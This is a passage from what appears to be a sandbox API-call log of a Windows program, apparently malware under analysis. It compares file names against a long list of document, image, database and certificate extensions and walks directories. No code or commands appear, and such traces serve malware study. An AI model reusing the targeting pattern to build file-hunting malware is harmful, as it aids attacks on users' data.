-1 [0041.154] lstrlenW (lpString=".class") returned 6 [0041.154] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0041.154] lstrlenW (lpString=".clx") returned 4 [0041.154] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0041.154] lstrlenW (lpString=".config") returned 7 [0041.154] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0041.154] lstrlenW (lpString=".cpp") returned 4 [0041.154] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0041.154] lstrlenW (lpString=".cr2") returned 4 [0041.154] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0041.154] lstrlenW (lpString=".crt") returned 4 [0041.154] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0041.154] lstrlenW (lpString=".crw") returned 4 [0041.154] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0041.154] lstrlenW (lpString=".cs") returned 3 [0041.154] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0041.154] lstrlenW (lpString=".css") returned 4 [0041.154] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0041.154] lstrlenW (lpString=".csv") returned 4 [0041.154] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0041.154] lstrlenW (lpString=".cub") returned 4 [0041.154] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0041.154] lstrlenW (lpString=".dae") returned 4 [0041.154] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0041.154] lstrlenW (lpString=".dat") returned 4 [0041.154] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0041.154] lstrlenW (lpString=".db") returned 3 [0041.154] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0041.154] lstrlenW (lpString=".dbf") returned 4 [0041.155] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".dbx") returned 4 [0041.155] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".dc3") returned 4 [0041.155] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".dcm") returned 4 [0041.155] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".dcr") returned 4 [0041.155] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".der") returned 4 [0041.155] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".dib") returned 4 [0041.155] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".dic") returned 4 [0041.155] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".dif") returned 4 [0041.155] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".divx") returned 5 [0041.155] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0041.155] lstrlenW (lpString=".djvu") returned 5 [0041.155] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0041.155] lstrlenW (lpString=".dng") returned 4 [0041.155] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".doc") returned 4 [0041.155] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".docm") returned 5 [0041.155] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0041.155] lstrlenW (lpString=".docx") returned 5 [0041.155] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0041.155] lstrlenW (lpString=".dot") returned 4 [0041.155] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0041.155] lstrlenW (lpString=".dotm") returned 5 [0041.155] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0041.156] lstrlenW (lpString=".dotx") returned 5 [0041.156] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0041.156] lstrlenW (lpString=".dpx") returned 4 [0041.156] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".dqy") returned 4 [0041.156] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".dsn") returned 4 [0041.156] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".dt") returned 3 [0041.156] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0041.156] lstrlenW (lpString=".dtd") returned 4 [0041.156] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".dwg") returned 4 [0041.156] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".dwt") returned 4 [0041.156] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".dx") returned 3 [0041.156] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0041.156] lstrlenW (lpString=".dxf") returned 4 [0041.156] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".edml") returned 5 [0041.156] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0041.156] lstrlenW (lpString=".efd") returned 4 [0041.156] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".elf") returned 4 [0041.156] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".emf") returned 4 [0041.156] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".emz") returned 4 [0041.156] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".epf") returned 4 [0041.156] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0041.156] lstrlenW (lpString=".eps") returned 4 [0041.157] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0041.157] lstrlenW (lpString=".epsf") returned 5 [0041.157] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0041.157] lstrlenW (lpString=".epsp") returned 5 [0041.157] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0041.157] lstrlenW (lpString=".erf") returned 4 [0041.157] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0041.157] lstrlenW (lpString=".exr") returned 4 [0041.157] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0041.157] lstrlenW (lpString=".f4v") returned 4 [0041.157] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0041.157] lstrlenW (lpString=".fido") returned 5 [0041.157] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0041.157] lstrlenW (lpString=".flm") returned 4 [0041.157] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0041.157] lstrlenW (lpString=".flv") returned 4 [0041.157] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0041.157] lstrlenW (lpString=".frm") returned 4 [0041.157] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0041.157] lstrlenW (lpString=".fxg") returned 4 [0041.157] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0041.157] lstrlenW (lpString=".geo") returned 4 [0041.157] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0041.157] lstrlenW (lpString=".gif") returned 4 [0041.157] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0041.157] lstrlenW (lpString=".grs") returned 4 [0041.157] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".gz") returned 3 [0041.158] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0041.158] lstrlenW (lpString=".h") returned 2 [0041.158] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0041.158] lstrlenW (lpString=".hdr") returned 4 [0041.158] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".hpp") returned 4 [0041.158] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".hta") returned 4 [0041.158] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".htc") returned 4 [0041.158] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".htm") returned 4 [0041.158] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".html") returned 5 [0041.158] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0041.158] lstrlenW (lpString=".icb") returned 4 [0041.158] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".ics") returned 4 [0041.158] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".iff") returned 4 [0041.158] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".inc") returned 4 [0041.158] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".indd") returned 5 [0041.158] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0041.158] lstrlenW (lpString=".ini") returned 4 [0041.158] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".iqy") returned 4 [0041.158] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".j2c") returned 4 [0041.158] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0041.158] lstrlenW (lpString=".j2k") returned 4 [0041.158] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".java") returned 5 [0041.159] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0041.159] lstrlenW (lpString=".jp2") returned 4 [0041.159] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".jpc") returned 4 [0041.159] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".jpe") returned 4 [0041.159] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".jpeg") returned 5 [0041.159] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0041.159] lstrlenW (lpString=".jpf") returned 4 [0041.159] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".jpg") returned 4 [0041.159] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".jpx") returned 4 [0041.159] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".js") returned 3 [0041.159] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0041.159] lstrlenW (lpString=".jsf") returned 4 [0041.159] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".json") returned 5 [0041.159] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0041.159] lstrlenW (lpString=".jsp") returned 4 [0041.159] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".kdc") returned 4 [0041.159] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".kmz") returned 4 [0041.159] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0041.159] lstrlenW (lpString=".kwm") returned 4 [0041.160] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".lasso") returned 6 [0041.160] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0041.160] lstrlenW (lpString=".lbi") returned 4 [0041.160] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".lgf") returned 4 [0041.160] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".lgp") returned 4 [0041.160] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".log") returned 4 [0041.160] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".m1v") returned 4 [0041.160] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".m4a") returned 4 [0041.160] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".m4v") returned 4 [0041.160] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".max") returned 4 [0041.160] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".md") returned 3 [0041.160] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0041.160] lstrlenW (lpString=".mda") returned 4 [0041.160] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".mdb") returned 4 [0041.160] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".mde") returned 4 [0041.160] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".mdf") returned 4 [0041.160] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".mdw") returned 4 [0041.160] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0041.160] lstrlenW (lpString=".mef") returned 4 [0041.161] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mft") returned 4 [0041.161] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mfw") returned 4 [0041.161] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mht") returned 4 [0041.161] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mhtml") returned 6 [0041.161] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0041.161] lstrlenW (lpString=".mka") returned 4 [0041.161] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mkidx") returned 6 [0041.161] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0041.161] lstrlenW (lpString=".mkv") returned 4 [0041.161] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mos") returned 4 [0041.161] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mov") returned 4 [0041.161] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mp3") returned 4 [0041.161] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mp4") returned 4 [0041.161] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mpeg") returned 5 [0041.161] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0041.161] lstrlenW (lpString=".mpg") returned 4 [0041.161] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mpv") returned 4 [0041.161] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mrw") returned 4 [0041.161] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".msg") returned 4 [0041.161] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0041.161] lstrlenW (lpString=".mxl") returned 4 [0041.162] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".myd") returned 4 [0041.162] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".myi") returned 4 [0041.162] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".nef") returned 4 [0041.162] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".nrw") returned 4 [0041.162] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".obj") returned 4 [0041.162] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".odb") returned 4 [0041.162] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".odc") returned 4 [0041.162] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".odm") returned 4 [0041.162] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".odp") returned 4 [0041.162] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".ods") returned 4 [0041.162] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".oft") returned 4 [0041.162] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".one") returned 4 [0041.162] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0041.162] lstrlenW (lpString=".onepkg") returned 7 [0041.163] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0041.163] lstrlenW (lpString=".onetoc2") returned 8 [0041.163] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0041.163] lstrlenW (lpString=".opt") returned 4 [0041.163] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".oqy") returned 4 [0041.163] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".orf") returned 4 [0041.163] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".p12") returned 4 [0041.163] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".p7b") returned 4 [0041.163] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".p7c") returned 4 [0041.163] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".pam") returned 4 [0041.163] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".pbm") returned 4 [0041.163] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".pct") returned 4 [0041.163] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".pcx") returned 4 [0041.163] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".pdd") returned 4 [0041.163] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".pdf") returned 4 [0041.163] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".pdp") returned 4 [0041.163] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".pef") returned 4 [0041.163] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0041.163] lstrlenW (lpString=".pem") returned 4 [0041.163] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0041.164] lstrlenW (lpString=".pff") returned 4 [0041.164] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0041.164] lstrlenW (lpString=".pfm") returned 4 [0041.164] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0041.164] lstrlenW (lpString=".pfx") returned 4 [0041.164] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0041.164] lstrlenW (lpString=".pgm") returned 4 [0041.164] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0041.164] lstrlenW (lpString=".php") returned 4 [0041.164] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0041.164] lstrlenW (lpString=".php3") returned 5 [0041.164] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0041.164] lstrlenW (lpString=".php4") returned 5 [0041.164] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0041.164] lstrlenW (lpString=".php5") returned 5 [0041.164] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0041.164] lstrlenW (lpString=".phtml") returned 6 [0041.164] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0041.164] lstrlenW (lpString=".pict") returned 5 [0041.164] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0041.164] lstrlenW (lpString=".pl") returned 3 [0041.164] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0041.164] lstrlenW (lpString=".pls") returned 4 [0041.164] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0041.164] lstrlenW (lpString=".pm") returned 3 [0041.164] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0041.164] lstrlenW (lpString=".png") returned 4 [0041.164] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0041.164] lstrlenW (lpString=".pnm") returned 4 [0041.165] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0041.165] lstrlenW (lpString=".pot") returned 4 [0041.165] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0041.165] lstrlenW (lpString=".potm") returned 5 [0041.165] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0041.165] lstrlenW (lpString=".potx") returned 5 [0041.165] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0041.165] lstrlenW (lpString=".ppa") returned 4 [0041.165] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0041.165] lstrlenW (lpString=".ppam") returned 5 [0041.165] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0041.165] lstrlenW (lpString=".ppm") returned 4 [0041.165] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0041.165] lstrlenW (lpString=".pps") returned 4 [0041.165] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0041.165] lstrlenW (lpString=".ppsm") returned 5 [0041.165] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0041.165] lstrlenW (lpString=".ppt") returned 4 [0041.165] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0041.165] lstrlenW (lpString=".pptm") returned 5 [0041.165] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0041.165] lstrlenW (lpString=".pptx") returned 5 [0041.165] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0041.165] lstrlenW (lpString=".prn") returned 4 [0041.165] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0041.165] lstrlenW (lpString=".ps") returned 3 [0041.165] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0041.165] lstrlenW (lpString=".psb") returned 4 [0041.165] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0041.165] lstrlenW (lpString=".psd") returned 4 [0041.165] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0041.165] lstrlenW (lpString=".pst") returned 4 [0041.166] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0041.166] lstrlenW (lpString=".ptx") returned 4 [0041.166] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0041.166] lstrlenW (lpString=".pub") returned 4 [0041.166] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0041.166] lstrlenW (lpString=".pwm") returned 4 [0041.166] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0041.166] lstrlenW (lpString=".pxr") returned 4 [0041.166] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0041.166] lstrlenW (lpString=".py") returned 3 [0041.166] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0041.166] lstrlenW (lpString=".qt") returned 3 [0041.166] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0041.166] lstrlenW (lpString=".r3d") returned 4 [0041.166] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0041.166] FindNextFileW (in: hFindFile=0x4280300, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.166] FindNextFileW (in: hFindFile=0x4280300, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.166] FindNextFileW (in: hFindFile=0x4280300, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.166] FindClose (in: hFindFile=0x4280300 | out: hFindFile=0x4280300) returned 1 [0041.248] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.248] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.248] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.248] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280800 [0041.420] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.420] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.421] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.421] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.421] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.421] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0041.421] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.421] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.421] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.421] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280200 [0041.421] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.421] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.421] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.421] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.422] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.422] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0041.422] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.422] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.422] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.422] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280340 [0041.422] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.422] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.422] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.422] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.422] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.422] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0041.422] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.422] FindNextFileW (in: 